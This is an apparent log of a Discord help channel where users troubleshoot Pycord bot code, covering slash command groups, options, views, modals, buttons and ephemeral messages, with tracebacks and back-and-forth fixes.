jailbot_feature_discord-1 | await self.connect(reconnect=reconnect)
jailbot_feature_discord-1 | File "/usr/local/lib/python3.10/site-packages/discord/shard.py", line 475, in connect
jailbot_feature_discord-1 | raise item.error
jailbot_feature_discord-1 | File "/usr/local/lib/python3.10/site-packages/discord/shard.py", line 180, in worker
jailbot_feature_discord-1 | await self.ws.poll_event()
jailbot_feature_discord-1 | File "/usr/local/lib/python3.10/site-packages/discord/gateway.py", line 603, in poll_event
jailbot_feature_discord-1 | await self.received_message(msg.data)
jailbot_feature_discord-1 | File "/usr/local/lib/python3.10/site-packages/discord/gateway.py", line 555, in received_message
jailbot_feature_discord-1 | func(data)
jailbot_feature_discord-1 | File "/usr/local/lib/python3.10/site-packages/discord/state.py", line 818, in parse_interaction_create
jailbot_feature_discord-1 | interaction = Interaction(data=data, state=self)
jailbot_feature_discord-1 | File "/usr/local/lib/python3.10/site-packages/discord/interactions.py", line 171, in __init__
jailbot_feature_discord-1 | self._from_data(data)
jailbot_feature_discord-1 | File "/usr/local/lib/python3.10/site-packages/discord/interactions.py", line 201, in _from_data
jailbot_feature_discord-1 | self._guild = Guild(data=self._guild_data, state=self)
jailbot_feature_discord-1 | NameError: name 'Guild' is not defined. Did you mean: 'guild'?
jailbot?
What about it
Just wonder why it got that name
show the code that caused the error
None of that is my code except for the bot.run(TOKEN) and I know that works because the bot was running lol
above.
It "jails" bad users
the first few lines of the stacktrace
user.timeout()
It's a little different than a timeout. I can send you the page for it if you want
Idk this is all I have when I run sudo docker compose logs
I need to figure out how to save log files between crashes
/reboots
does it just take away all channels?
hm
pycord version?
do it pls
2.5.0 is the latest
Yes 2.5.0
we fixed this on master branch
No, this is my requirements.txt
APScheduler==3.9.1
py-cord==2.5.0
GitPython==3.1.42
PyYAML==6.0.1
python-dateutil==2.8.2
aiohttp==3.9.3
rsa==4.9
Ah, will there be a release?
maybe soon, but atm no
Pretty much, along with automated release and restoration of roles and such
you can downgrade or use master
Would you guess maybe in the next month?
what causes it squid?
definitely
##2402
I would downgrade but then I have to change some code because embed.Empty or whatever would work again
How would I specify that in the requirements.txt file?
pycord @ git+https://github.com/Pycord-Development/Pycord@{some_commit}
If i do shard.disconnect()?
the on_shard_disconnect work
that's probably what you are looking for?
Thanks. I'll try it out
Build already in
show more code and the error message please
no error message
the command simply doesnt show up as seen by the 2nd image
can't see any indentation mistake on your screenshot
class Punishments(commands.Cog):
def __init__(self, _bot: CustomBot):
global bot
bot = _bot
self.bot: CustomBot = _bot
@commands.Cog.listener()
async def on_ready(self):
global logger
global stdout
logger = logging.getLogger("custom")
stdout = logging.getLogger("stdout")
logger.debug(f"✅ {self.qualified_name} module has been loaded.")
grp = discord.SlashCommandGroup(name="punishment", description="Punishment commands")
add = discord.SlashCommandGroup(parent=grp, name="add", description="Add a punishment to a user")
remove = discord.SlashCommandGroup(parent=grp, name="remove", description="Remove a punishment from a user")
# Warn and Unwarn
@add.command(name="warn", description="Warn a user")
@commands.dynamic_cooldown(command_cooldown, commands.BucketType.user)
@commands.check(has_permission)
async def warn_add(self, ctx: discord.ApplicationContext, steam_id: int, reason: str):
await ctx.interaction.response.defer(ephemeral=True)
result = await punish(steamID=steam_id, type="warn", duration=None, reason=reason)
if result is True:
await ctx.interaction.respond(content=f"Successfully warned `{steam_id}` with reason: `{reason}`", ephemeral = True)
return
else:
await ctx.interaction.respond(content=f"There was an error executing the punishment: " + '\n'.join(result))
its supposed to be nested:
/punishment add warn
the bot class is just:
class CustomBot(Bot):
def __init__(self, config, *args, **kwargs):
super().__init__(None, *args, **kwargs)
self.config: Config = config
so its definetly not that
setup and load extension stuff was adjusted/placed correctly?
yeah
everything else is working correctly
other than this
actually after taking a second look at the docs, is parent=grp sufficient or would i need to grp.create_subgroup()?
class MyView(discord.ui.View):
def __init__(self, ctx, tresc_komendy):
super().__init__(timeout=5)
self.ctx = ctx
self.tresc_komendy = tresc_komendy
async def on_timeout(self):
self.disable_all_items()
await self.response.edit_message(content="You took too long! Disabled all the components.", view=self)
@discord.ui.button(emoji=":tak:", label="Potwierdź", style=discord.ButtonStyle.green)
async def button_callback(self, button, interaction):
await interaction.response.edit_message(content=":white_check_mark: **Twoja wiadomość została wysłana!**", embed=None, view=None, delete_after=10)
new_confession = Confession(self.tresc_komendy, self.ctx.author.id, self.ctx.author.display_name)
await interaction.channel.send(embed=new_confession.final_message())
@discord.ui.button(emoji=":nie:", label="Odrzuć", row=0, style=discord.ButtonStyle.red)
async def second_button_callback(self, button, interaction):
await interaction.response.edit_message(content=":x: **Anulowanie wysyłania wiadomości...**", embed=None, view=None, delete_after=1)```
**What should I do to "pass" interaction to the on_timeout function?**
Task exception was never retrieved
File "c:\Users\Desktop\Discord Bot\confession.py", line 12, in on_timeout
await self.response.edit_message(content="You took too long! Disabled all the components.", view=self)
^^^^^^^^^^^^^
AttributeError: 'MyView' object has no attribute 'response'
😅 good damned, I don't know where to place it exactly.
What you need is:
if not hasattr(MyView, 'response'):
return
this should be placed before the order to edit anything is given, so it abborts the process if the attribute isnt there.
Does your bot have view channel and send message permissions?
cause within the context of you ApplicationContext, you automatically have those. however, when editing something later on, the channel permissions may not be set in your favor.
possibly its better to check for the root source of your problem than execute within an environment where you are not allowed to edit later in the first place
Does this make sense to you @frail laurel
It has all the required intents, and administrator permissions bot = commands.Bot(intents=discord.Intents.all())
Not really, like how the f- someone new to those docs should know all of this, when even in tutorial nothing important is really provided, and docs aren't user-friendly.
I added on_timeout there, because in tutorial it was said, to add it and apparently there it works
does this include privileged message content intend? cause it reads all not admin
In version 1.5 comes the introduction of Intents. This is a radical change in how bots are written. An intent basically allows a bot to subscribe to specific buckets of events. The events that corr...
to edits things you need to have those things in code, your invite link, and when it comes to priviliged stuff also the slighter in your api-dashboard thingy, found in discord advanced settings
not exactly sure which intents are needed to edit your own message later on in case the channel permission are against you (e.g. a private channel).
I'd have to read up on the specifics myself.
Okay, one possible cause less : D
alright, just checked, all does include those as well.
However, I'd always include some
if not None
check before editing anything
cause there is always the possibillity the message/embed/whatever was deleted by the user before timeout was reached
when this happens your bot tries to edit something that does not exist anymore and CABOOM
oh
why is it none
because self.bot.pool is none
and idk if im looking in the wrong place but https://docs.pycord.dev/en/stable/ext/commands/api.html#bot pool doesnt exist here
The following section outlines the API of Pycord’s prefixed command extension module. Bots: Bot: Attributes activity, allowed_mentions, application_flags, application_id, cached_messages, case_inse...
Read embeds using on_message ..... Is it possible in pycord ... Like
I was able to make it run in discord.py but was not running in pycord.... Does it have a seperate syantx
sure, why not
bump
create_subgroup works more reliably
I want to know that in which latest python version pycord works
3.12
like a time ago it can't work above 3.10
3.12 if you are using py-cord 2.5
by the way from where did you know that
hmm
I stalk this server a lot
the library wasn't even the problem, its dependencies were
lol
too many issues w my code
how to check the version of pycord?
I couldn't find command to check version
there’s discord.__version__, pip list, pip freeze, there’s many ways to check for version
can you tell me the simple command
all of them are simple
@subcommand(f"{xp_.name} {xp_.setup.name}")
@commands.slash_command(name=xp_.setup.mode.name, description=xp_.setup.mode.description)
@option(name=xp_.setup.mode.options.mode.name, description=xp_.setup.mode.options.mode.description, choices=["on", "off"], required=True)
async def mode(self, ctx: discord.ApplicationContext, mode: str):
i tried discord.option but i can add choice or description with it
not with discord.option but with discord.commands.option i didnt copy correctly but the description/choice still doesnt appear
i have imported option from discord.commands
just import option from discord and use @option
I'll check how I did it in a sec but I think that's how
no i just figure it out
it was because
discord.Option is the object
but the shortcut is discord.commands.option
who was in conflict with the discord.ext.commands
i know, I said the lowercase one is right lol
yea then I mixed it up
but my error was that i already import commands from discord.ext so it was doing a conflict
but after fixing that it work like a charge, i just need to fix the multicog now
discord.option is also correct
with discord.option, you cant put description or choice
you can
(from what i just try 2s ago)
it’s an alias for discord.commands.option
I just checked and that's how I do it lol, I was gaslighted
yep but i tryied it
the rest isn't
and that thing is scrollable you know
no
not this one
let me try again
my bot works exactly like that so you're just doing it wrong lol
and you have the description in the option ?
of course
yes, they are literally the same thing
what even happens that makes you say it doesnt work?
the fact that i tryied it
they may have typed something wrong
and it wasnt showing the description
did you restart your discord?
but i guess i maybe put the wrong this
it takes time to update
maybe why
no, it takes 1 discord restart
which is time
i restarted my discord 3 times
no, the updating is almost instant
you just need something to trigger the update
Show your code, show your imports, show what you see in discord
i’m complementing your comment bruh
:>
i will try again wiht discord.option
if it works with commands.option, then keep it that way
yep it working now, i guess swtich from discord.Option to discord.option too quickly maybe make this glictch
they aren’t related
or you just didnt update it to be lowercase in your import
why put name: "ok" and not name = ""
thats why i said this :)
that is the IDE
the name: is just my IDE, i pass them positionally
name and type are positional
the rest are kwargs
i was doing like this
?tag args vs kwargs
No tag args found.
@subcommand(f"{xp_.name} {xp_.setup.name}")
@commands.slash_command(name=xp_.setup.mode.name, description=xp_.setup.mode.description)
@discord.Option(name=xp_.setup.mode.options.mode.name, description=xp_.setup.mode.options.mode.description, choices=["on", "off"], required=True)
async def mode(self, ctx: discord.ApplicationContext, mode: str):
mode = True if mode == "on" else False
:<
Option is wrong.
type is optional, it’s default to be string
and then swtich cos i was having this glitch
the + tells us that that is your new code tho
yes i swtich because it wasnt working correctly
but can it be because of the subcommand from pycord multicog
you cant use discord.Option as decorator tho for all i know
because i was usinf the wrong group ?
again, thats why i want(ed) this
strange to that the slash doesnt appear as subcommand but as command
you keep showing us 50 different versions of your code
option and commands.option are the same thing so nothing should change
also, why discord.Client?
tbh idk why it wasnt working
a normal bot is NOT a client
it the 20 times you asked
and still the same i always forgot to change this
i will do it rn
it is
Client is only for events, i've recently been told
it’s a subclass of Client
you’re not incorrect for hinting Client
before (around pycord 2.0 or something like that commands.bot was not showing everything as discord.Client
that way i was using discord.CLient
all bots are clients, simple as that
but now it look like everything is in it
just so summarize again, this is what it should look like
from discord import option
...
@option(name=, ...)
or if you just import discord, then you use discord.option
But if you use decorators for options, you NEVER use discord.Option
is that a bug or im just doing it wrong ?
class XP_Event(commands.Cog):
def __init__(self, bot):
self.bot: commands.Bot = bot
xp_group = discord.SlashCommandGroup(name=xp_.name, description=xp_.description, guild_only=True)
xp_setup_group = xp_group.create_subgroup(name=xp_.setup.name, description=xp_.setup.description)
class Setup_Sub(commands.Cog):
def __init__(self, bot):
self.bot: commands.Bot = bot
@subcommand(f"{xp_.name} {xp_.setup.name}")
@commands.slash_command(name=xp_.setup.mode.name, description=xp_.setup.mode.description)
@discord.option(name=xp_.setup.mode.options.mode.name, description=xp_.setup.mode.options.mode.description, choices=["on", "off"], required=True)
async def mode(self, ctx: discord.ApplicationContext, mode: str):
yep thanks
isn't it just @xp_setup_group.command() ?
this is how i did it, for only a group in general
but im p sure for a subgroup its the exact same
Do i have to sync commands manually if i have an on_shard_connect event?
those aren’t related?
i know, that if i have on_connect i have to add await client.sync_commands()
if on_connect is not disturbed, you don’t have to add it.
Okay
But only on_shard_connect i dont need anything?
yes
well send me a syntax please
send the link please Pleading
just look it up in the docs
.rftm discord.Message
discord.Message
discord.Message.activity
discord.Message.add_reaction
discord.Message.application
discord.Message.attachments
discord.Message.author
discord.Message.channel
discord.Message.channel_mentions
discord.Message.clean_content
discord.Message.clear_reaction
discord.Message.clear_reactions
discord.Message.components
discord.Message.content
discord.Message.create_thread
discord.Message.created_at
Thanks
is it that hard to use the search in the docs?
yea, i wont do that
it really depends on what you can spoonfeeding
from opening a new tab to clicking discord.Message in the search results, it takes me 5 seconds
and they literally could have done that same thing 360 times in the time they waited for someone to give a link to them
how to access option.name value?
ctx: discord.ApplicationContext,
opcja: Option(
choices=[
OptionChoice(name="Add"),
OptionChoice(name="Subtract"),
])
):
await ctx.respond(f"**You chose** ({opcja.name})", ephemeral=True)
with the name that you gived it
"opcja"
gived
but what if it has more attributes than name
;-;
?
Let's say I want to add to each option specified pre-coded channel id's for later use it'd be cool if they were saved in option
opcja: Option(
choices=[
OptionChoice(name="Suggestions", channel_id="X"),
OptionChoice(name="Staff-Chat", channel_id="X"),
])
ctx.command.options[0].choices or something
or do you want to make the choices a set amount of items you choose?
little bit confused lol
oh
just use a match case for that?
this'd be good?
match opcja:
case OptionChoice(name="Add"):
no....
the inputted value is the case
so if they choose "Suggestions" (thats the case) you do what you want with that
oh ok, im stupid
This is why i always tell people to use the decorator
The typehint way just confuses people and looks incredibly messy
hey , my discord bot project wasn't progressing at all and I'm feeling like jumping on the pycord update to go back onto it, but I'd like to know what's the best path to follow in order to master the library, any suggestions ?
Read the docs and just start playing around. I have a little test bot that I use to try out different techniques to apply to my others.
class CreateUserButtons(View):
def __init__(self):
super().__init__(timeout=60)
self.add_item(Button(label="Continue", style=ButtonStyle.green, custom_id="continue_button"))
self.add_item(Button(label="Cancel", style=ButtonStyle.red, custom_id="cancel_button"))
@discord.ui.button(custom_id="continue")
async def continue_button_callback(self, button: Button, interaction: Interaction):
if interaction.user.id == 835431172942856232:
modal = UserCreationModal(title="SECRETZ User Creation")
await interaction.response.edit_message(view=modal)
else:
await interaction.response.send_message(content=f"<@{interaction.user.id}> You are not the owner!")
@discord.ui.button(custom_id="cancel")
async def cancel_button_callback(self, button: Button, interaction: Interaction):
embed = discord.Embed(
title="User Creation Cancelled",
color=discord.Colour.red()
)
await interaction.response.edit_message(embed=embed)
class UserCreationModal(discord.ui.Modal):
def __init__(self, *args, **kwargs) -> None:
super().__init__(*args, **kwargs)
self.add_item(
discord.ui.InputText(label="Email", placeholder="Input Users Email"),
discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short),
discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short),
discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short)
)
async def callback(self, interaction: discord.Interaction):
payload = {
"email": self.children[0].value,
"username": self.children[1].value,
"pin": self.children[2].value,
"discorduserid": self.children[3].value
}
useraddreq = requests.post(url="http://127.0.0.1:420/api/v1/admin/adduser", json=payload)
if useraddreq.status_code == 200:
response = useraddreq.json()
embed = discord.Embed(
title="**User Successfully Added",
description=f"{response}",
color=discord.Colour.green()
)
await interaction.response.send_message(embed=embed)
elif useraddreq.status_code == 400:
response = useraddreq.json()
embed2 = discord.Embed(
title="**User Already Has A Account",
description=f"{response}",
color=discord.Colour.yellow()
)
await interaction.response.send_message(embed=embed2)
else:
response = useraddreq.text
embed3 = discord.Embed(
title="**ERROR",
description=f"{response}",
color=discord.Colour.red()
)
await interaction.response.send_message(embed=embed3)
@s.slash_command(name="createuser", description="Create User Command")
@commands.has_permissions(administrator=True)
async def createuser(ctx: discord.ApplicationContext):
print("Starting createuser command.")
view = CreateUserButtons()
await ctx.respond(
embed=discord.Embed(
title="Create a New User",
description="Please provide a username for the new user.",
color=discord.Colour.red()
),
view=view
)
discord.errors.ApplicationCommandInvokeError: Application Command raised an exception: HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In data.components.0.components.0.label: This field is required
In data.components.0.components.1.label: This field is required
Ive read the docs and asked ai i cant seem to find a solution
class CreateUserButtons(View):
def __init__(self):
super().__init__(timeout=60)
- self.add_item(Button(label="Continue", style=ButtonStyle.green, custom_id="continue_button"))
- self.add_item(Button(label="Cancel", style=ButtonStyle.red, custom_id="cancel_button"))
- @discord.ui.button(custom_id="continue")
+ @discord.ui.button(label="Continue", style=ButtonStyle.green, custom_id="continue_button")
async def continue_button_callback(self, button: Button, interaction: Interaction):
if interaction.user.id == 835431172942856232:
modal = UserCreationModal(title="SECRETZ User Creation")
await interaction.response.edit_message(view=modal)
else:
await interaction.response.send_message(content=f"<@{interaction.user.id}> You are not the owner!")
- @discord.ui.button(custom_id="cancel")
+ @discord.ui.button(label="Cancel", style=ButtonStyle.red, custom_id="cancel_button")
async def cancel_button_callback(self, button: Button, interaction: Interaction):
embed = discord.Embed(
title="User Creation Cancelled",
color=discord.Colour.red()
)
await interaction.response.edit_message(embed=embed)
because that's just not how you create a button
a lot of code
if you're not going to be helpful, please don't
@whole needle
chill bruh
Traceback (most recent call last):
File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\ui\view.py", line 426, in _scheduled_task
await item.callback(interaction)
File "C:\Users\jarex\Downloads\Jarexs Tools\Secretz\bot\bot.py", line 33, in continue_button_callback
modal = UserCreationModal(title="SECRETZ User Creation")
File "C:\Users\jarex\Downloads\Jarexs Tools\Secretz\bot\bot.py", line 49, in __init__
self.add_item(
TypeError: Modal.add_item() takes 2 positional arguments but 5 were given```
now i get this when i press continue
yeah you add one at a time
so
self.add_item(...)
self.add_item(...)
self.add_item(...)
self.add_item(...)
self.add_item(...)
...
oh yeah lmao TY! 🙂
yw :)
discord.errors.HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In data.components.0.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.1.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.2.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.3.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
what 😭
which line is this?
Ignoring exception in view <CreateUserButtons timeout=60 children=2> for item <Button style=<ButtonStyle.success: 3> url=None disabled=False label='Continue' emoji=None row=None>:
Traceback (most recent call last):
File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\ui\view.py", line 426, in _scheduled_task
await item.callback(interaction)
File "C:\Users\jarex\Downloads\Jarexs Tools\Secretz\bot\bot.py", line 34, in continue_button_callback
await interaction.response.edit_message(view=modal)
File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\interactions.py", line 1082, in edit_message
await self._locked_response(
File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\interactions.py", line 1243, in _locked_response
await coro
File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\webhook\async_.py", line 222, in request
raise HTTPException(response, data)
discord.errors.HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In data.components.0.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.1.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.2.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.3.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
class CreateUserButtons(View):
def __init__(self):
super().__init__(timeout=60)
@discord.ui.button(label="Continue", style=ButtonStyle.green, custom_id="continue_button")
async def continue_button_callback(self, button: Button, interaction: Interaction):
if interaction.user.id == 835431172942856232:
modal = UserCreationModal(title="SECRETZ User Creation")
await interaction.response.edit_message(view=modal)
else:
await interaction.response.send_message(content=f"<@{interaction.user.id}> You are not the owner!")
@discord.ui.button(label="Cancel", style=ButtonStyle.red, custom_id="cancel_button")
async def cancel_button_callback(self, button: Button, interaction: Interaction):
embed = discord.Embed(
title="User Creation Cancelled",
color=discord.Colour.red()
)
await interaction.response.edit_message(embed=embed)
class UserCreationModal(discord.ui.Modal):
def __init__(self, *args, **kwargs) -> None:
super().__init__(*args, **kwargs)
self.add_item(discord.ui.InputText(label="Email", placeholder="Input Users Email"))
self.add_item(discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short))
self.add_item(discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short))
self.add_item(discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short))
async def callback(self, interaction: discord.Interaction):
payload = {
"email": self.children[0].value,
"username": self.children[1].value,
"pin": self.children[2].value,
"discorduserid": self.children[3].value
}
useraddreq = requests.post(url="http://127.0.0.1:420/api/v1/admin/adduser", json=payload)
if useraddreq.status_code == 200:
response = useraddreq.json()
embed = discord.Embed(
title="**User Successfully Added",
description=f"{response}",
color=discord.Colour.green()
)
await interaction.response.send_message(embed=embed)
elif useraddreq.status_code == 400:
response = useraddreq.json()
embed2 = discord.Embed(
title="**User Already Has A Account",
description=f"{response}",
color=discord.Colour.yellow()
)
await interaction.response.send_message(embed=embed2)
else:
response = useraddreq.text
embed3 = discord.Embed(
title="**ERROR",
description=f"{response}",
color=discord.Colour.red()
)
await interaction.response.send_message(embed=embed3)
@s.slash_command(name="createuser", description="Create User Command")
@commands.has_permissions(administrator=True)
async def createuser(ctx: discord.ApplicationContext):
print("Starting createuser command.")
view = CreateUserButtons()
await ctx.respond(
embed=discord.Embed(
title="Create a New User",
description="Please provide a username for the new user.",
color=discord.Colour.red()
),
view=view
)
When its not ephr
@tempy_cmd.command()
@commands.has_permissions(administrator=True)
@commands.cooldown(1, 10, commands.BucketType.user)
@discord.guild_only()
async def menu(self, ctx):
await ctx.defer()
...
await ctx.respond(embed=embed, view=view, ephemeral=True)
its sends as a normal msg
?tag ephemeral
An 'ephemeral' message is one that's only visible to the person who invoked a command. If you ever got a command error with a blue background, this is an example of one.
To do this, set ephemeral=True when you first use an ApplicationContext. (This includes .defer()ing it; the choice of whether a message is ephemeral or not must be made up front. If you .respond() to a deferred message, setting the ephemeral flag at that time will have no effect.)
This is the equivalent of hidden=True if you're coming from interactions.py
e.g.
await ctx.respond("Imagine a message!", ephemeral = True)
await interaction.response.send_message("Imagine a message!", ephemeral = True)
for you it's the second "paragraph"
Ah okay thx
i needd to do so?
await ctx.respond(embed=embed, view=view, hidden=True)
class UserCreationModal(discord.ui.Modal):
def __init__(self, *args, **kwargs) -> None:
- super().__init__(*args, **kwargs)
- self.add_item(
- discord.ui.InputText(label="Email", placeholder="Input Users Email"),
- discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short),
- discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short),
- discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short)
+ super().__init__(
+ discord.ui.InputText(label="Email", placeholder="Input Users Email"),
+ discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short),
+ discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short),
+ discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short)
)
``` this should work
nope
To do this, set
ephemeral=Truewhen you first use anApplicationContext. (This includes.defer()ing it; the choice of whether a message is ephemeral or not must be made up front. If you.respond()to a deferred message, setting the ephemeral flag at that time will have no effect.)
class UserCreationModal(discord.ui.Modal):
def __init__(self, *args, **kwargs) -> None:
super().__init__(
self.add_item(discord.ui.InputText(label="Email", placeholder="Input Users Email")),
self.add_item(discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short)),
self.add_item(discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short)),
self.add_item(discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short))
)
``` like this?
ah i understand thx
without the self.add_item
oh wait yes im blind lol
Ignoring exception in view <CreateUserButtons timeout=60 children=2> for item <Button style=<ButtonStyle.success: 3> url=None disabled=False label='Continue' emoji=None row=None>:
Traceback (most recent call last):
File "C:\Users\jarex\AppData\Local\Programs\Python\Python310\lib\site-packages\discord\ui\view.py", line 426, in _scheduled_task
await item.callback(interaction)
File "C:\Users\jarex\Downloads\Jarexs Tools\Secretz\bot\bot.py", line 33, in continue_button_callback
modal = UserCreationModal(title="SECRETZ User Creation")
File "C:\Users\jarex\Downloads\Jarexs Tools\Secretz\bot\bot.py", line 48, in __init__
super().__init__(
TypeError: Modal.__init__() missing 1 required keyword-only argument: 'title'
bro the errors keep coming
@shell radish
yeah now add a title
like
super().__init__(
title = "My Great Modal Magic Thing"
discord.ui.InputText(label="Email", placeholder="Input Users Email"),
discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short),
discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short),
discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short)
)
super().__init__(
title="SECRETZ User Creation",
discord.ui.InputText(label="Email", placeholder="Input Users Email"),
discord.ui.InputText(label="Username", placeholder="Input Users Discord Username", style=InputTextStyle.short),
discord.ui.InputText(label="Pin", placeholder="Input Users Pin", style=InputTextStyle.short),
discord.ui.InputText(label="User ID", placeholder="Input Users Discord User ID", style=InputTextStyle.short)
)
Positional argument cannot appear after keyword argumentsPylance
put it after
discord.errors.HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In data.components.0.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.1.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.2.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
In data.components.3.components.0: Value of field "type" must be one of (2, 3, 5, 6, 7, 8).
this again 😭
you have to use interaction.response.send_modal
how can i structure my embed with fields sort of like this: field_1 and field_2 on the same line, field_3 and field_4 together on the next line
i hate dealing with inline nonsense
from where i import types
.
ohh
but i don't know why i got this error 1000 times
discord.errors.ApplicationCommandInvokeError: Application Command raised an exception: TypeError: 'method' object is not iterable
how do u use it ?
can i post code here?
yes
import discord
from discord.ext import commands
# Paste the Integration, StreamIntegration, BotIntegration classes here
# from .types.integration import StreamIntegration, BotIntegration, StreamIntegration
class SERVER_INTEGRATIONS(commands.Cog):
def __init__(self, bot):
self.bot = bot
@commands.slash_command(name='server-integrations', description='Make the list of integrations in server')
async def _server_integrations(self, ctx):
guild = ctx.guild
# Get all integrations in the server
integrations = guild.integrations
# Format the integrations list
integrations_list_str = ""
for integration in integrations:
# Check the type of integration and handle accordingly
if isinstance(integration, discord.BotIntegration):
integrations_list_str += f"**Bot Integration - Name:** {integration.name}\n"
elif isinstance(integration, discord.StreamIntegration):
integrations_list_str += f"**Stream Integration - Name:** {integration.name}\n"
else:
integrations_list_str += f"**Integration - Name:** {integration.name}\n"
# Send the response
await ctx.respond(f'Here are the integrations in the server:\n{integrations_list_str}')
def setup(bot):
bot.add_cog(SERVER_INTEGRATIONS(bot))
also idk that guild.integration really exists or not
coz idk where to find them
in docs
here
i don't think there's a nice way to do it because inline=False forces it to stand on its own row.... but there is a hacky method; add an empty field every 2 normal fields
some example py embed = Embed() for cur in range(1,11): embed.add_field(name="Test Name", value="Test Value") if not cur%2: embed.add_field(name="", value="", inline=False)note this relies on what discord has technically considered a bug for over a year now (empty embed fields), if this ever breaks you'd have to switch to invisible characters which pads the embed vertically, or find something else
never understood why Discord forces some styls on us anyways.
like having to use \u200B just to move embed fields appart from each other a bit for appearance and refusing to accept a standard \n for it.
just let us do the layouts we want! 🙃
but i am going OT, nice approach!
Is there a way to create polls?
not yet
doesnt someone use pycord multicog ?
I did
what is multicog?
you dont know?
No
a way to have subcommand in different cog
with 25 subcommands in 1 file
it can be a little messy
and 25 sub subcommands
Really easy question, how can i make a default / command.
So i created those 2 groups:
xp_group = discord.SlashCommandGroup(name=xp_.name, description=xp_.description, guild_only=True)
xp_setup_group = xp_group.create_subgroup(name=xp_.setup.name, description=xp_.setup.description, guild_only=True)
how can i do to add a command fror the xp_setup_group
for i can go /xp setup and it does a commande but also /xp setup mode
That’s not possible. /xp setup can’t be a command if it’s also a command group. However, it seems like mode would be best fit into an option. Basically get rid of the setup group, make it a command in the xp group and add mode as an option
it can
how ?
It’s possible
yes but like i didnt find anything in the doc related to that, do you have a link ?
i don’t make them so idk
It says right here you can’t
subcommands, subcommand groups, and command groups are different
Yeah, just realized that only invalidates the base command, not lower lvl commands
Just try and see then ig but mode as an option seems more intuitive to me in this case with the given context anyways
Hi!
Would it be possible for a command to send out 2 messages. 1 as a respond and ephemeral, and another one just public with a button. When clicked on the button the ephemeral message gets edited. Is that even possible?
Yes it is
Is there a simple explanation? 😄


